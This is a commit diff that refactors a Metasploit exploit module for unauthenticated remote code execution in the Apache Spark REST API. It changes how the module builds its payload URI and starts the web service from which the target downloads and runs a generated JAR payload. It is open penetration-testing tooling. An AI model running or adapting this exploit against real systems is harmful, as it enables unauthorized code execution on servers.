Fix code as jrobles suggest.

modules/exploits/linux/http/spark_unauth_rce.rb

@@ -49,11 +49,6 @@ class MetasploitModule < Msf::Exploit::Remote
       Opt::RPORT(6066)
     ])
 
-    register_advanced_options([
-      OptString.new('DownUri', [false, 'The URI to use for this exploit to download and execute. (default is random)'])
-    ])
-
-    deregister_options('URIPATH')
   end
 
   def check
@@ -69,24 +64,14 @@ class MetasploitModule < Msf::Exploit::Remote
     @pl = generate_payload.encoded_jar
     print_error("Failed to generate the payload.") unless @pl
 
-    path = datastore['DownUri'] || rand_text_alpha(8..16)
-
-    if datastore['SRVHOST'].empty? || datastore['SRVHOST'] == '0.0.0.0'
-      binding_ip = Rex::Socket.source_address('1.2.3.4')
-    else
-      binding_ip = datastore['SRVHOST']
-    end
+    path = resource_uri
+    binding_ip = srvhost_addr
 
     proto = datastore['SSL'] ? 'https' : 'http'
     @payload_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{path}"
 
     print_status("Starting up our web service ...")
-    start_service({'Uri' => {
-     'Proc' => Proc.new { |cli, req|
-       on_request_uri(cli, req)
-     },
-     'Path' => '/' + path
-    }})
+    start_service({'Path' => path})
 
     send_payload
 
@@ -118,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     res_json = res.get_json_document
 
-    if res_json.empty? || !res_json['serverSparkVersion']
+    if res_json.empty? || res_json['serverSparkVersion'].nil?
       vprint_bad("#{peer} - Cannot parse the response, seems like it's not Spark REST API.")
       return false
     end